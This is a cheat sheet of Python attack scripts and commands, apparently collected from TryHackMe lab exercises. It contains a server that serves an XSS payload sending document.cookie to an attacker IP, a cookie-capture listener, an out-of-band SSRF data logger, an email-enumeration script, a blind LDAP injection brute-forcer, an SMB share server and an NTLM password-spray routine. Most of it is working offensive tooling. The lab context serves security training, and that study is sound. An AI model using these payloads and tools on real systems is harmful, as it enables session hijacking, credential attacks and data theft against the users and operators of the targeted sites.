python file
http
python -m SimpleHTTPServer 8090
python3 -m http.server 8090https
a simple web server
Before running the https web server we will need to create an SSL certificate and key with the following command:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname"python3 https.py
https.py
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import ssl
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# Parse the URL and query parameters
parsed_path = urlparse(self.path)
query_params = parse_qs(parsed_path.query)
# Assuming 'c' is the query parameter that holds the cookie information
cookies = query_params.get('c', ['No cookie'])[0]
# Log or process the cookie information
print(f"Received cookie: {cookies}")
# Respond to the client (You might want to customize this)
self.send_response(200)
self.end_headers()
self.wfile.write(b"Received your request!")
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8002):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
# Setup SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Use the most modern TLS protocol version available
context.load_cert_chain(certfile='cert.pem', keyfile='key.pem') # Load your certificate and private key
context.options |= ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3 # Disable SSLv2 and SSLv3 to mitigate vulnerabilities
context.set_ciphers('HIGH:!aNULL:!MD5:!RC4') # Optional: configure to use high-security cipher suites
# Wrap the server socket in the SSL context
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print(f"Server running on port {port}...")
httpd.serve_forever()
if __name__ == '__main__':
run()Web Server
We can quickly set up a web server that responds with status 101 to every request with the following Python code:
python3 myserver.py 5555
myserver.py
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 1:
print("""
Usage: {}
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.protocol_version = "HTTP/1.1"
self.send_response(101)
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()steal cookie server
steal the user's cookie and send it to us
sudo python3 server.py
Note that the victim will make an additional request to port 8080; you can serve another Python web service by using:
sudo python3 -m http.server 8080
server.py
#!/usr/bin/python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class ExploitHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write(b"fetch('http://10.10.153.2:8080/' + document.cookie)")
def run_server(port=1337):
server_address = ('', port)
httpd = HTTPServer(server_address, ExploitHandler)
print(f"Server running on port {port}")
httpd.serve_forever()
if __name__ == '__main__':
run_server()Out-of-band SSRF
sudo chmod +x server.py && sudo python3 server.py
open the browser and open http://example.com/profile.php?url=http://ATTACKBOX_IP:8080, which will log the data in the data.html.
server.py
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*') # Allow requests from any origin
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
super().end_headers()
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, GET request!')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
self.send_response(200)
self.end_headers()
# Log the POST data to data.html
with open('data.html', 'a') as file:
file.write(post_data + '\n')
response = f'THM, POST request! Received data: {post_data}'
self.wfile.write(response.encode('utf-8'))
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, CustomRequestHandler)
print('Server running on http://localhost:8080/')
httpd.serve_forever()mail-check
check for valid emails in the target web app
import requests
import sys
def check_email(email):
url = 'http://enum.thm/labs/verbose_login/functions.php' # Location of the login function
headers = {
'Host': 'enum.thm',
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://enum.thm',
'Connection': 'close',
'Referer': 'http://enum.thm/labs/verbose_login/',
}
data = {
'username': email,
'password': 'password', # Use a random password as we are only checking the email
'function': 'login'
}
response = requests.post(url, headers=headers, data=data)
return response.json()
def enumerate_emails(email_file):
valid_emails = []
invalid_error = "Email does not exist" # Error message for invalid emails
with open(email_file, 'r') as file:
emails = file.readlines()
for email in emails:
email = email.strip() # Remove any leading/trailing whitespace
if email:
response_json = check_email(email)
if response_json['status'] == 'error' and invalid_error in response_json['message']:
print(f"[INVALID] {email}")
else:
print(f"[VALID] {email}")
valid_emails.append(email)
return valid_emails
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 script.py <email_list_file>")
sys.exit(1)
email_file = sys.argv[1]
valid_emails = enumerate_emails(email_file)
print("\nValid emails found:")
for valid_email in valid_emails:
print(valid_email)smbserver
Enter the command python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp to start the SMB server sharing the /tmp director
You can access the contents of the network share by entering the command smbclient //ATTACKBOX_IP/logs -U guest -N.
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2022 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Simple SMB Server example.
#
# Author:
# Alberto Solino (@agsolino)
#
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash
if __name__ == '__main__':
# Init the example's logger theme
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
"share specified as an argument. You need to be root in order to bind to port 445. "
"For optional authentication, it is possible to specify username and password or the NTLM hash. "
"Example: smbserver.py -comment 'My share' TMP /tmp")
parser.add_argument('shareName', action='store', help='name of the share to add')
parser.add_argument('sharePath', action='store', help='path of the share to add')
parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
parser.add_argument('-username', action="store", help='Username to authenticate clients')
parser.add_argument('-password', action="store", help='Password for the Username')
parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface')
parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
try:
options = parser.parse_args()
except Exception as e:
logging.critical(str(e))
sys.exit(1)
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
if options.comment is None:
comment = ''
else:
comment = options.comment
server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))
server.addShare(options.shareName.upper(), options.sharePath, comment)
server.setSMB2Support(options.smb2support)
# If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
# connections will be allowed
if options.username is not None:
# we either need a password or hashes, if not, ask
if options.password is None and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
# Let's convert to hashes
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
elif options.password is not None:
lmhash = compute_lmhash(options.password)
nthash = compute_nthash(options.password)
else:
lmhash, nthash = options.hashes.split(':')
server.addCredential(options.username, 0, lmhash, nthash)
# Here you can set a custom SMB challenge in hex format
# If empty defaults to '4141414141414141'
# (remember: must be 16 hex bytes long)
# e.g. server.setSMBChallenge('12345678abcdef00')
server.setSMBChallenge('')
# If you don't want log to stdout, comment the following line
# If you want log dumped to a file, enter the filename
server.setLogFile('')
# Rock and roll
server.start()LDAP-Auto-Exploit
import requests
from bs4 import BeautifulSoup
import string
import time
# Base URL
url = 'http://10.10.216.166/blind.php'
# Define the character set
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"
# Initialize variables
successful_response_found = True
successful_chars = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
while successful_response_found:
successful_response_found = False
for char in char_set:
#print(f"Trying password character: {char}")
# Adjust data to target the password field
data = {'username': f'{successful_chars}{char}*)(|(&','password': 'pwd)'}
# Send POST request with headers
response = requests.post(url, data=data, headers=headers)
# Parse HTML content
soup = BeautifulSoup(response.content, 'html.parser')
# Adjust success criteria as needed
paragraphs = soup.find_all('p', style='color: green;')
if paragraphs:
successful_response_found = True
successful_chars += char
print(f"Successful character found: {char}")
break
if not successful_response_found:
print("No successful character found in this iteration.")
print(f"Final successful payload: {successful_chars}")ntlm-passwordspray
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
eg: python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
ntlm_passwordspray.py
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")